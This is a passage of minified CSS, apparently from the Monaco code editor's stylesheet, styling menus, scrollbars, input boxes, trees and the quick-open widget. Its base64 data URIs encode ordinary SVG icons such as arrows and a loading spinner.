tLjAwMS0uMzQyLS4wNC0uNjYzLS4xMi0uOTYyem0tMS40NzktLjYwN2MuMTUxLjA3MS4yODIuMTc2LjM5LjMxNC4xMDkuMTQuMTk0LjMxMy4yNTUuNTE3LjA1MS4xNzQuMDgyLjM3MS4wODkuNTg3bC0uMDA3LjEyNWMwIC4zMjctLjAzMy42Mi0uMS44NjktLjA2Ny4yNDYtLjE2MS40NTMtLjI3OC42MTQtLjExNy4xNjItLjI2LjI4NS0uNDIxLjM2Ni0uMzIyLjE2Mi0uNzYuMTY2LTEuMDY5LjAxNS0uMTUzLS4wNzUtLjI4Ni0uMTc1LS4zOTMtLjI5Ni0uMDg1LS4wOTYtLjE1Ni0uMjE2LS4yMTgtLjM2NyAwIDAtLjE3OS0uNDQ3LS4xNzktLjk0NyAwLS41LjE3OS0xLjAwMi4xNzktMS4wMDIuMDYyLS4xNzcuMTM2LS4zMTguMjI0LS40My4xMTQtLjE0My4yNTYtLjI1OS40MjQtLjM0NS4xNjgtLjA4Ni4zNjUtLjEyOS41ODctLjEyOS4xOSAwIC4zNjQuMDM3LjUxNy4xMDl6Ii8+PHJlY3QgeD0iLjk4NyIgeT0iMiIgY2xhc3M9InN0MiIgd2lkdGg9IjE0LjAxMyIgaGVpZ2h0PSIxLjAyMyIvPjxyZWN0IHg9Ii45ODciIHk9IjEyLjk2OCIgY2xhc3M9InN0MiIgd2lkdGg9IjE0LjAxMyIgaGVpZ2h0PSIxLjAyMyIvPjxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik0xLjk5MSAxMi4wMzFsLjcyOC0yLjAzMWgyLjIxOWwuNzc4IDIuMDMxaDEuMDgybC0yLjQ4NS03LjE1OGgtLjk0MWwtMi40NDEgNy4wODYtLjAyNS4wNzJoMS4wODV6bTEuODI3LTUuNjA5aC4wMjJsLjkxNCAyLjc1M2gtMS44NDFsLjkwNS0yLjc1M3oiLz48L2c+PC9zdmc+\") 50% no-repeat}.vs .custom-checkbox.monaco-regex{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBvbHlnb24gZmlsbD0iI0Y2RjZGNiIgcG9pbnRzPSIxMy42NCw3LjM5NiAxMi4xNjksMi44OTggMTAuNzA2LDMuNzYxIDExLjA4NywyIDYuNTU3LDIgNi45MzYsMy43NjIgNS40NzMsMi44OTggNCw3LjM5NiA1LjY4Miw3LjU1NCA0LjUxMyw4LjU2MSA1LjAxMyw5IDIsOSAyLDE0IDcsMTQgNywxMC43NDcgNy45NzgsMTEuNjA2IDguODIsOS43MjUgOS42NjEsMTEuNjAyIDEzLjE0NCw4LjU2MiAxMS45NjgsNy41NTQiLz48ZyBmaWxsPSIjNDI0MjQyIj48cGF0aCBkPSJNMTIuMzAxIDYuNTE4bC0yLjc3Mi4yNjIgMi4wODYgMS43ODgtMS41OTQgMS4zOTItMS4yMDEtMi42ODItMS4yMDEgMi42ODItMS41ODMtMS4zOTIgMi4wNzUtMS43ODgtMi43NzEtLjI2Mi42OTYtMi4xMjYgMi4zNTggMS4zOTItLjU5OS0yLjc4NGgyLjA1M2wtLjYwMiAyLjc4MyAyLjM1OS0xLjM5Mi42OTYgMi4xMjd6Ii8+PHJlY3QgeD0iMyIgeT0iMTAiIHdpZHRoPSIzIiBoZWlnaHQ9IjMiLz48L2c+PC9zdmc+\") 50% no-repeat}.hc-black .custom-checkbox.monaco-regex,.hc-black .custom-checkbox.monaco-regex:hover,.vs-dark .custom-checkbox.monaco-regex{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHBvbHlnb24gZmlsbD0iIzJkMmQzMCIgcG9pbnRzPSIxMy42NCw3LjM5NiAxMi4xNjksMi44OTggMTAuNzA2LDMuNzYxIDExLjA4NywyIDYuNTU3LDIgNi45MzYsMy43NjIgNS40NzMsMi44OTggNCw3LjM5NiA1LjY4Miw3LjU1NCA0LjUxMyw4LjU2MSA1LjAxMyw5IDIsOSAyLDE0IDcsMTQgNywxMC43NDcgNy45NzgsMTEuNjA2IDguODIsOS43MjUgOS42NjEsMTEuNjAyIDEzLjE0NCw4LjU2MiAxMS45NjgsNy41NTQiLz48ZyBmaWxsPSIjQzVDNUM1Ij48cGF0aCBkPSJNMTIuMzAxIDYuNTE4bC0yLjc3Mi4yNjIgMi4wODYgMS43ODgtMS41OTQgMS4zOTItMS4yMDEtMi42ODItMS4yMDEgMi42ODItMS41ODMtMS4zOTIgMi4wNzUtMS43ODgtMi43NzEtLjI2Mi42OTYtMi4xMjYgMi4zNTggMS4zOTItLjU5OS0yLjc4NGgyLjA1M2wtLjYwMiAyLjc4MyAyLjM1OS0xLjM5Mi42OTYgMi4xMjd6Ii8+PHJlY3QgeD0iMyIgeT0iMTAiIHdpZHRoPSIzIiBoZWlnaHQ9IjMiLz48L2c+PC9zdmc+\") 50% no-repeat}.monaco-icon-label{display:inline-block;overflow:hidden;text-overflow:ellipsis}.monaco-icon-label:before{background-size:16px;background-position:0;background-repeat:no-repeat;padding-right:6px;width:16px;height:22px;display:inline-block;-webkit-font-smoothing:antialiased;vertical-align:top}.monaco-icon-label>.label-name{color:inherit;white-space:pre}.monaco-icon-label>.label-description{opacity:.7;margin-left:.5em;font-size:.9em;white-space:pre}.monaco-icon-label>.label-description.empty{margin-left:0}.monaco-icon-label.italic>.label-description,.monaco-icon-label.italic>.label-name{font-style:italic}.monaco-inputbox{position:relative;display:block;padding:0;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;line-height:auto!important;font-size:inherit}.monaco-inputbox.idle{border:1px solid transparent}.monaco-inputbox>.wrapper>.input,.monaco-inputbox>.wrapper>.mirror{padding:4px}.monaco-inputbox>.wrapper{position:relative;width:100%;height:100%}.monaco-inputbox>.wrapper>.input{display:inline-block;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;line-height:inherit;border:none;font-family:inherit;font-size:inherit;resize:none;color:inherit}.monaco-inputbox>.wrapper>input{text-overflow:ellipsis}.monaco-inputbox>.wrapper>textarea.input{display:block;overflow:hidden}.monaco-inputbox>.wrapper>.mirror{position:absolute;display:inline-block;width:100%;top:0;left:0;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;white-space:pre-wrap;visibility:hidden;min-height:26px;word-wrap:break-word}.monaco-inputbox-container{text-align:right}.monaco-inputbox-container .monaco-inputbox-message{display:inline-block;overflow:hidden;text-align:left;width:100%;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;padding:.4em;font-size:12px;line-height:17px;min-height:34px;margin-top:-1px}.monaco-inputbox .monaco-action-bar{position:absolute;right:2px;top:4px}.monaco-inputbox .monaco-action-bar .action-item{margin-left:2px}.monaco-inputbox .monaco-action-bar .action-item .icon{background-repeat:no-repeat;width:16px;height:16px}.monaco-keybinding{display:flex;align-items:center;line-height:10px}.monaco-keybinding>.monaco-keybinding-key{display:inline-block;border:1px solid hsla(0,0%,80%,.4);border-bottom-color:hsla(0,0%,73%,.4);border-radius:3px;box-shadow:inset 0 -1px 0 hsla(0,0%,73%,.4);background-color:hsla(0,0%,87%,.4);vertical-align:middle;color:#555;font-size:11px;padding:3px 5px}.hc-black .monaco-keybinding>.monaco-keybinding-key,.vs-dark .monaco-keybinding>.monaco-keybinding-key{background-color:hsla(0,0%,50%,.17);color:#ccc;border:1px solid rgba(51,51,51,.6);border-bottom-color:rgba(68,68,68,.6);box-shadow:inset 0 -1px 0 rgba(68,68,68,.6)}.monaco-keybinding>.monaco-keybinding-key-separator{display:inline-block}.monaco-keybinding>.monaco-keybinding-key-chord-separator{width:2px}.monaco-list{height:100%;width:100%;white-space:nowrap;-webkit-user-select:none;-moz-user-select:-moz-none;-ms-user-select:none;-o-user-select:none;user-select:none}.monaco-list>.monaco-scrollable-element{height:100%}.monaco-list-rows{position:relative;width:100%;height:100%}.monaco-list-row{position:absolute;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;cursor:pointer;overflow:hidden;width:100%;touch-action:none}.monaco-list-row.scrolling{display:none!important}.monaco-list.element-focused{outline:0!important}.monaco-menu .monaco-action-bar.vertical{margin-left:0}.monaco-menu .monaco-action-bar.vertical .actions-container{display:block}.monaco-menu .monaco-action-bar.vertical .action-item{padding:0;-webkit-transform:none;transform:none;display:-ms-flexbox;display:flex}.monaco-menu .monaco-action-bar.vertical .action-item.active{-webkit-transform:none;transform:none}.monaco-menu .monaco-action-bar.vertical .action-item.focused{background-color:#e4e4e4}.monaco-menu .monaco-action-bar.vertical .action-item:hover:not(.disabled){background-color:#eee}.monaco-menu .monaco-action-bar.vertical .action-label{-ms-flex:1 1 auto;flex:1 1 auto;text-decoration:none;padding:.8em 1em;line-height:1.1em;background:none}.monaco-menu .monaco-action-bar.vertical .keybinding{display:inline-block;-ms-flex:2 1 auto;flex:2 1 auto;padding:.8em 1em;line-height:1.1em;font-size:12px;text-align:right}.monaco-menu .monaco-action-bar.vertical .action-item.disabled .keybinding{opacity:.4}.monaco-menu .monaco-action-bar.vertical .action-label:not(.separator){display:inline-block;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;margin:0}.monaco-menu .monaco-action-bar.vertical .action-label.separator{padding:.5em 0 0;margin-bottom:.5em;width:100%}.monaco-menu .monaco-action-bar.vertical .action-label.separator.text{padding:.7em 1em .1em;font-weight:700;opacity:1}.monaco-menu .monaco-action-bar.vertical .action-label:hover{color:inherit}.context-view.monaco-menu-container{font-family:Segoe WPC,Segoe UI,\\.SFNSDisplay-Light,SFUIText-Light,HelveticaNeue-Light,sans-serif;outline:0;box-shadow:0 2px 8px #a8a8a8;border:none;color:#646465;background-color:#fff;-webkit-animation:fadeIn 83ms linear;animation:fadeIn 83ms linear}.context-view.monaco-menu-container :focus{outline:0}.vs-dark .monaco-menu .monaco-action-bar.vertical .action-item.focused{background-color:#4b4c4d}.vs-dark .monaco-menu .monaco-action-bar.vertical .action-item:hover:not(.disabled){background-color:#3a3a3a}.vs-dark .context-view.monaco-menu-container{box-shadow:0 2px 8px #000;color:#bbb;background-color:#2d2f31}.hc-black .context-view.monaco-menu-container{border:2px solid #6fc3df;color:#fff;background-color:#0c141f;box-shadow:none}.hc-black .monaco-menu .monaco-action-bar.vertical .action-item.focused{background:none;border:1px dotted #f38518}.hc-black .monaco-menu .monaco-action-bar.vertical .action-item:hover:not(.disabled){background:none;border:1px dashed #f38518}.progress-container{width:100%;height:5px}.progress-container .progress-bit{width:2%;height:5px;position:absolute;left:0;display:none}.progress-container.active .progress-bit{display:inherit}.progress-container.discrete .progress-bit{left:0;transition:width .1s linear;-webkit-transition:width .1s linear;-o-transition:width .1s linear;-moz-transition:width .1s linear;-ms-transition:width .1s linear}.progress-container.discrete.done .progress-bit{width:100%}.progress-container.infinite .progress-bit{animation-name:progress;animation-duration:4s;animation-iteration-count:infinite;animation-timing-function:linear;-ms-animation-name:progress;-ms-animation-duration:4s;-ms-animation-iteration-count:infinite;-ms-animation-timing-function:linear;-webkit-animation-name:progress;-webkit-animation-duration:4s;-webkit-animation-iteration-count:infinite;-webkit-animation-timing-function:linear;-moz-animation-name:progress;-moz-animation-duration:4s;-moz-animation-iteration-count:infinite;-moz-animation-timing-function:linear}@keyframes progress{0%{left:0;width:2%}50%{left:50%;width:5%}to{left:98%;width:2%}}@-webkit-keyframes progress{0%{left:0;width:2%}50%{left:50%;width:5%}to{left:98%;width:2%}}.monaco-sash{position:absolute;z-index:6;touch-action:none}.monaco-sash.vertical{cursor:ew-resize;height:100%;top:0}.monaco-sash.horizontal{cursor:ns-resize;width:100%;left:0}.monaco-sash.disabled{cursor:default!important}.vertical-cursor-container{cursor:ew-resize}.horizontal-cursor-container{cursor:ns-resize}.monaco-sash.mac.vertical,.vertical-cursor-container-mac{cursor:col-resize}.horizontal-cursor-container-mac,.monaco-sash.mac.horizontal{cursor:row-resize}.monaco-scrollable-element>.scrollbar>.up-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMTEgMTEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0ibTkuNDgwNDYsOC45NjE1bDEuMjYsLTEuMjZsLTUuMDQsLTUuMDRsLTUuNDYsNS4wNGwxLjI2LDEuMjZsNC4yLC0zLjc4bDMuNzgsMy43OHoiIGZpbGw9IiM0MjQyNDIiLz48L3N2Zz4=\");cursor:pointer}.monaco-scrollable-element>.scrollbar>.down-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMSAxMSI+PHBhdGggdHJhbnNmb3JtPSJyb3RhdGUoLTE4MCA1LjQ5MDQ1OTkxODk3NTgzLDUuODExNTAwMDcyNDc5MjQ4KSIgZmlsbD0iIzQyNDI0MiIgZD0ibTkuNDgwNDYsOC45NjE1bDEuMjYsLTEuMjZsLTUuMDQsLTUuMDRsLTUuNDYsNS4wNGwxLjI2LDEuMjZsNC4yLC0zLjc4bDMuNzgsMy43OHoiLz48L3N2Zz4=\");cursor:pointer}.monaco-scrollable-element>.scrollbar>.left-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMSAxMSI+PHBhdGggdHJhbnNmb3JtPSJyb3RhdGUoLTkwIDUuNDkwNDU5OTE4OTc1ODMxLDUuNDMxMzgyMTc5MjYwMjU0KSIgZmlsbD0iIzQyNDI0MiIgZD0ibTkuNDgwNDYsOC41ODEzOGwxLjI2LC0xLjI2bC01LjA0LC01LjA0bC01LjQ2LDUuMDRsMS4yNiwxLjI2bDQuMiwtMy43OGwzLjc4LDMuNzh6Ii8+PC9zdmc+\");cursor:pointer}.monaco-scrollable-element>.scrollbar>.right-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMTEgMTEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggdHJhbnNmb3JtPSJyb3RhdGUoOTAgNS42MTcxNjUwODg2NTM1NjQ1LDUuNTU4MDg5NzMzMTIzNzgpICIgZmlsbD0iIzQyNDI0MiIgZD0ibTkuNjA3MTcsOC43MDgwOWwxLjI2LC0xLjI2bC01LjA0LC01LjA0bC01LjQ2LDUuMDRsMS4yNiwxLjI2bDQuMiwtMy43OGwzLjc4LDMuNzh6Ii8+PC9zdmc+\");cursor:pointer}.hc-black .monaco-scrollable-element>.scrollbar>.up-arrow,.vs-dark .monaco-scrollable-element>.scrollbar>.up-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMTEgMTEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggZD0ibTkuNDgwNDYsOC45NjE1bDEuMjYsLTEuMjZsLTUuMDQsLTUuMDRsLTUuNDYsNS4wNGwxLjI2LDEuMjZsNC4yLC0zLjc4bDMuNzgsMy43OHoiIGZpbGw9IiNFOEU4RTgiLz48L3N2Zz4=\")}.hc-black .monaco-scrollable-element>.scrollbar>.down-arrow,.vs-dark .monaco-scrollable-element>.scrollbar>.down-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMSAxMSI+PHBhdGggdHJhbnNmb3JtPSJyb3RhdGUoLTE4MCA1LjQ5MDQ1OTkxODk3NTgzLDUuODExNTAwMDcyNDc5MjQ4KSIgZmlsbD0iI0U4RThFOCIgZD0ibTkuNDgwNDYsOC45NjE1bDEuMjYsLTEuMjZsLTUuMDQsLTUuMDRsLTUuNDYsNS4wNGwxLjI2LDEuMjZsNC4yLC0zLjc4bDMuNzgsMy43OHoiLz48L3N2Zz4=\")}.hc-black .monaco-scrollable-element>.scrollbar>.left-arrow,.vs-dark .monaco-scrollable-element>.scrollbar>.left-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxMSAxMSI+PHBhdGggdHJhbnNmb3JtPSJyb3RhdGUoLTkwIDUuNDkwNDU5OTE4OTc1ODMxLDUuNDMxMzgyMTc5MjYwMjU0KSIgZmlsbD0iI0U4RThFOCIgZD0ibTkuNDgwNDYsOC41ODEzOGwxLjI2LC0xLjI2bC01LjA0LC01LjA0bC01LjQ2LDUuMDRsMS4yNiwxLjI2bDQuMiwtMy43OGwzLjc4LDMuNzh6Ii8+PC9zdmc+\")}.hc-black .monaco-scrollable-element>.scrollbar>.right-arrow,.vs-dark .monaco-scrollable-element>.scrollbar>.right-arrow{background:url(\"data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMTEgMTEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHBhdGggdHJhbnNmb3JtPSJyb3RhdGUoOTAgNS42MTcxNjUwODg2NTM1NjQ1LDUuNTU4MDg5NzMzMTIzNzgpICIgZmlsbD0iI0U4RThFOCIgZD0ibTkuNjA3MTcsOC43MDgwOWwxLjI2LC0xLjI2bC01LjA0LC01LjA0bC01LjQ2LDUuMDRsMS4yNiwxLjI2bDQuMiwtMy43OGwzLjc4LDMuNzh6Ii8+PC9zdmc+\")}.monaco-scrollable-element>.visible{opacity:1;background:transparent;transition:opacity .1s linear}.monaco-scrollable-element>.invisible{opacity:0}.monaco-scrollable-element>.invisible.fade{transition:opacity .8s linear}.monaco-scrollable-element>.shadow{position:absolute;display:none}.monaco-scrollable-element>.shadow.top{display:block;top:0;left:3px;height:3px;width:100%;box-shadow:inset 0 6px 6px -6px #ddd}.monaco-scrollable-element>.shadow.left{display:block;top:3px;left:0;height:100%;width:3px;box-shadow:inset 6px 0 6px -6px #ddd}.monaco-scrollable-element>.shadow.top-left-corner{display:block;top:0;left:0;height:3px;width:3px}.monaco-scrollable-element>.shadow.top.left{box-shadow:inset 6px 6px 6px -6px #ddd}.vs .monaco-scrollable-element>.scrollbar>.slider{background:hsla(0,0%,39%,.4)}.vs-dark .monaco-scrollable-element>.scrollbar>.slider{background:hsla(0,0%,47%,.4)}.hc-black .monaco-scrollable-element>.scrollbar>.slider{background:rgba(111,195,223,.6)}.monaco-scrollable-element>.scrollbar>.slider:hover{background:hsla(0,0%,39%,.7)}.hc-black .monaco-scrollable-element>.scrollbar>.slider:hover{background:rgba(111,195,223,.8)}.monaco-scrollable-element>.scrollbar>.slider.active{background:rgba(0,0,0,.6)}.vs-dark .monaco-scrollable-element>.scrollbar>.slider.active{background:hsla(0,0%,75%,.4)}.hc-black .monaco-scrollable-element>.scrollbar>.slider.active{background:#6fc3df}.vs-dark .monaco-scrollable-element .shadow.top{box-shadow:none}.vs-dark .monaco-scrollable-element .shadow.left{box-shadow:inset 6px 0 6px -6px #000}.vs-dark .monaco-scrollable-element .shadow.top.left{box-shadow:inset 6px 6px 6px -6px #000}.hc-black .monaco-scrollable-element .shadow.left,.hc-black .monaco-scrollable-element .shadow.top,.hc-black .monaco-scrollable-element .shadow.top.left{box-shadow:none}.monaco-workbench .select-box{width:100%;height:20px}.quick-open-widget{position:absolute;width:600px;z-index:9;padding-bottom:6px;left:50%;margin-left:-300px}.quick-open-widget .progress-container{position:absolute;left:0;top:38px;z-index:1;height:2px}.quick-open-widget .progress-container .progress-bit{height:2px}.quick-open-widget .quick-open-input{width:588px;border:none;margin:6px}.quick-open-widget .quick-open-input .monaco-inputbox{width:100%;height:25px}.quick-open-widget .quick-open-tree{line-height:22px}.quick-open-widget .quick-open-tree .monaco-tree-row>.content>.sub-content{overflow:hidden}.quick-open-widget.content-changing .quick-open-tree .monaco-scrollable-element .slider{display:none}.quick-open-widget .quick-open-tree .quick-open-entry{overflow:hidden;text-overflow:ellipsis;display:flex;flex-direction:column;height:100%}.quick-open-widget .quick-open-tree .quick-open-entry>.quick-open-row{display:flex;align-items:center}.quick-open-widget .quick-open-tree .quick-open-entry .quick-open-entry-icon{overflow:hidden;width:16px;height:16px;margin-right:4px;display:inline-block;vertical-align:middle;flex-shrink:0}.quick-open-widget .quick-open-tree .quick-open-entry .monaco-highlighted-label span{opacity:1}.quick-open-widget .quick-open-tree .quick-open-entry-meta{opacity:.7;line-height:normal}.quick-open-widget .quick-open-tree .quick-open-entry-description{opacity:.7;margin-left:.5em;font-size:.9em;overflow:hidden;flex:1;text-overflow:ellipsis}.quick-open-widget .quick-open-tree .content.has-group-label .quick-open-entry-keybinding{margin-right:8px}.quick-open-widget .quick-open-tree .quick-open-entry-keybinding .monaco-keybinding-key{vertical-align:text-bottom}.quick-open-widget .quick-open-tree .results-group{margin-right:18px}.quick-open-widget .quick-open-tree .focused .monaco-tree-row.focused>.content.has-actions>.results-group,.quick-open-widget .quick-open-tree .monaco-tree-row.focused>.content.has-actions>.results-group,.quick-open-widget .quick-open-tree .monaco-tree-row:hover:not(.highlighted)>.content.has-actions>.results-group{margin-right:0}.quick-open-widget .quick-open-tree .results-group-separator{border-top-width:1px;border-top-style:solid;box-sizing:border-box;margin-left:-11px;padding-left:11px}.monaco-tree .monaco-tree-row>.content.actions{position:relative;display:flex}.monaco-tree .monaco-tree-row>.content.actions>.sub-content{flex:1}.monaco-tree .monaco-tree-row>.content.actions .action-item{margin:0}.monaco-tree .monaco-tree-row>.content.actions>.primary-action-bar{line-height:22px;display:none;padding:0 .8em 0 .4em}.monaco-tree .monaco-tree-row.focused>.content.has-actions>.primary-action-bar{width:0;display:block}.monaco-tree.focused .monaco-tree-row.focused>.content.has-actions>.primary-action-bar,.monaco-tree .monaco-tree-row:hover:not(.highlighted)>.content.has-actions>.primary-action-bar,.monaco-tree .monaco-tree-row>.content.has-actions.more>.primary-action-bar{width:inherit;display:block}.monaco-tree .monaco-tree-row>.content.actions>.primary-action-bar .action-label{margin-right:.2em;margin-top:4px;background-repeat:no-repeat;width:16px;height:16px}.quick-open-widget .quick-open-tree .monaco-highlighted-label .highlight{font-weight:700}.monaco-tree{height:100%;width:100%;white-space:nowrap;-webkit-user-select:none;-moz-user-select:-moz-none;-ms-user-select:none;-o-user-select:none;user-select:none;position:relative}.monaco-tree>.monaco-scrollable-element{height:100%}.monaco-tree>.monaco-scrollable-element>.monaco-tree-wrapper{height:100%;width:100%;position:relative}.monaco-tree .monaco-tree-rows{position:absolute;width:100%;height:100%}.monaco-tree .monaco-tree-rows>.monaco-tree-row{-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;cursor:pointer;overflow:hidden;width:100%;touch-action:none}.monaco-tree .monaco-tree-rows>.monaco-tree-row>.content{position:relative;height:100%}.monaco-tree-drag-image{display:inline-block;padding:1px 7px;border-radius:10px;font-size:12px;position:absolute}.monaco-tree .monaco-tree-rows>.monaco-tree-row.scrolling{display:none}.monaco-tree .monaco-tree-rows.show-twisties>.monaco-tree-row.has-children>.content:before{content:\" \";position:absolute;display:block;background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iIzY0NjQ2NSIgZD0iTTYgNHY4bDQtNC00LTR6bTEgMi40MTRMOC41ODYgOCA3IDkuNTg2VjYuNDE0eiIvPjwvc3ZnPg==\") 50% 50% no-repeat;width:16px;height:100%;top:0;left:-16px}.monaco-tree .monaco-tree-rows.show-twisties>.monaco-tree-row.expanded>.content:before{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iIzY0NjQ2NSIgZD0iTTExIDEwSDUuMzQ0TDExIDQuNDE0VjEweiIvPjwvc3ZnPg==\")}.monaco-tree .monaco-tree-rows>.monaco-tree-row.has-children.loading>.content:before{background-image:url(\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0nMS4wJyBzdGFuZGFsb25lPSdubycgPz4KPHN2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHZlcnNpb249JzEuMScgd2lkdGg9JzEwcHgnIGhlaWdodD0nMTBweCc+Cgk8c3R5bGU+CiAgICBjaXJjbGUgewogICAgICBhbmltYXRpb246IGJhbGwgMC42cyBsaW5lYXIgaW5maW5pdGU7CiAgICB9CgogICAgY2lyY2xlOm50aC1jaGlsZCgyKSB7IGFuaW1hdGlvbi1kZWxheTogMC4wNzVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDMpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjE1czsgfQogICAgY2lyY2xlOm50aC1jaGlsZCg0KSB7IGFuaW1hdGlvbi1kZWxheTogMC4yMjVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDUpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjNzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDYpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjM3NXM7IH0KICAgIGNpcmNsZTpudGgtY2hpbGQoNykgeyBhbmltYXRpb24tZGVsYXk6IDAuNDVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDgpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjUyNXM7IH0KCiAgICBAa2V5ZnJhbWVzIGJhbGwgewogICAgICBmcm9tIHsgb3BhY2l0eTogMTsgfQogICAgICB0byB7IG9wYWNpdHk6IDAuMzsgfQogICAgfQoJPC9zdHlsZT4KCTxnPgoJCTxjaXJjbGUgY3g9JzUnIGN5PScxJyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJCTxjaXJjbGUgY3g9JzcuODI4NCcgY3k9JzIuMTcxNicgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCQk8Y2lyY2xlIGN4PSc5JyBjeT0nNScgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCQk8Y2lyY2xlIGN4PSc3LjgyODQnIGN5PSc3LjgyODQnIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+CgkJPGNpcmNsZSBjeD0nNScgY3k9JzknIHI9JzEnIHN0eWxlPSdvcGFjaXR5OjAuMzsnIC8+CgkJPGNpcmNsZSBjeD0nMi4xNzE2JyBjeT0nNy44Mjg0JyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJCTxjaXJjbGUgY3g9JzEnIGN5PSc1JyByPScxJyBzdHlsZT0nb3BhY2l0eTowLjM7JyAvPgoJCTxjaXJjbGUgY3g9JzIuMTcxNicgY3k9JzIuMTcxNicgcj0nMScgc3R5bGU9J29wYWNpdHk6MC4zOycgLz4KCTwvZz4KPC9zdmc+Cg==\")}.monaco-tree.highlighted .monaco-tree-rows>.monaco-tree-row:not(.highlighted){opacity:.3}.vs-dark .monaco-tree .monaco-tree-rows.show-twisties>.monaco-tree-row.has-children>.content:before{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iI0U4RThFOCIgZD0iTTYgNHY4bDQtNC00LTR6bTEgMi40MTRMOC41ODYgOCA3IDkuNTg2VjYuNDE0eiIvPjwvc3ZnPg==\")}.vs-dark .monaco-tree .monaco-tree-rows.show-twisties>.monaco-tree-row.expanded>.content:before{background-image:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNiAxNiI+PHBhdGggZmlsbD0iI0U4RThFOCIgZD0iTTExIDEwSDUuMzQ0TDExIDQuNDE0VjEweiIvPjwvc3ZnPg==\")}.vs-dark .monaco-tree .monaco-tree-rows>.monaco-tree-row.has-children.loading>.content:before{background-image:url(\"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0nMS4wJyBzdGFuZGFsb25lPSdubycgPz4KPHN2ZyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnIHZlcnNpb249JzEuMScgd2lkdGg9JzEwcHgnIGhlaWdodD0nMTBweCc+Cgk8c3R5bGU+CiAgICBjaXJjbGUgewogICAgICBhbmltYXRpb246IGJhbGwgMC42cyBsaW5lYXIgaW5maW5pdGU7CiAgICB9CgogICAgY2lyY2xlOm50aC1jaGlsZCgyKSB7IGFuaW1hdGlvbi1kZWxheTogMC4wNzVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDMpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjE1czsgfQogICAgY2lyY2xlOm50aC1jaGlsZCg0KSB7IGFuaW1hdGlvbi1kZWxheTogMC4yMjVzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDUpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjNzOyB9CiAgICBjaXJjbGU6bnRoLWNoaWxkKDYpIHsgYW5pbWF0aW9uLWRlbGF5OiAwLjM3NXM7IH0KICAgIGNpcmNsZTpudGgtY2hpbGQoNykgeyBhbmltYXRpb24tZGVsYXk6IDAuNDVzOyB9CiAgI